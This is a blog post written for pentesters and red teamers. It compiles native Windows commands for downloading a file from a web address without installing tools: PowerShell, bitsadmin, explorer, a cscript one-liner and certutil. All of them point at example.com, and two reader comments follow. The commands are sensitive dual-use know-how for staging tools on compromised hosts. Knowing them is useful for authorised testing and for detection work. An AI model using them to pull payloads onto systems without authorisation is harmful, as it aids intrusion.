3

Native Windows commands to download files

This is a compilation of native commands that it’s very likely to find on a windows system. If you have any other way to easily download a file, please comment it and I will update the post.

The main point here is to find a way to download a file without having to install something else on the system,  I’m talking about when we are performing a pentest, red team operation and stuff…

PowerShell 2.0

  • System.Net.WebClient
(New-Object System.Net.WebClient).DownloadFile("http://example.com/file.hex","Outfile.hex")
  • BitsTransfer
Import-Module BitsTransfer ; Start-BitsTransfer -source "http://example.com/file.hex"

PowerShell >= 3.0

  • Invoke-WebRequest
Invoke-WebRequest -Uri "http://example.com/file.hex" -OutFile "C:\file.hex"
  • iwr
iwr "http://example.com/file.hex" -Outfile "file.hex"
  • iwr aliases == wget and curl
iwr "http://example.com/file.hex" -Outfile "file.hex"
wget "http://example.com/file.hex" -Outfile "file.hex"
curl "http://example.com/file.hex" -Outfile "file.hex"

BitsAdmin

bitsadmin.exe /Transfer JobName /download /priority normal "http://example.com/file.hex" "C:\path\file.hex"

By default the option is /download and the /priority is normal so we can make this command line shorter

bitsadmin /Transfer Job "http://example.com/file.hex" "C:\path\file.hex"

Explorer

This will open the default web-browser configured and download the file to the default location. (Maybe not the best option but could be handy)

explorer http://example.com/file.hex

Cscript

echo var H = new ActiveXObject("WinHttp.WinHttpRequest.5.1");H.Open("GET", WScript.Arguments(0), /*async=*/false);H.Send();B = new ActiveXObject("ADODB.Stream");B.Type = 1;B.Open();B.Write(H.ResponseBody);B.SaveToFile("file.hex"); > curl.js && cscript /nologo curl.js "http://example.com/file.hex"

Certutil.exe

My favorite option to download a file is using ‘certutil.exe’. This is really easy and handy (All credits to @subTee) and we can use certutil in two different ways as listed below:

  1. curl + hexdump -C
  2. wget

1) curl + hexdump -C

certutil -URLCache -f "http://example.com/file.hex"

2) wget

certutil -URLCache -split -f "http://example.com/file.hex"

The option -f will force the overwrite of the file if exists and -split will split embedded ASN.1 elements, and save to a file.

That’s all I have, if you wanna share any other cool trick please don’t hesitate to drop me a message.

@hecky

hecky

3 Comments

  1. This method is faster to download files if i programming in my apps .net?

    • Hi KNO, maybe not. The focal point of the post was to provide some native tools to download files. But maybe you can do the benchmark and see how it behaves.

Leave a Reply

Your email address will not be published. Required fields are marked *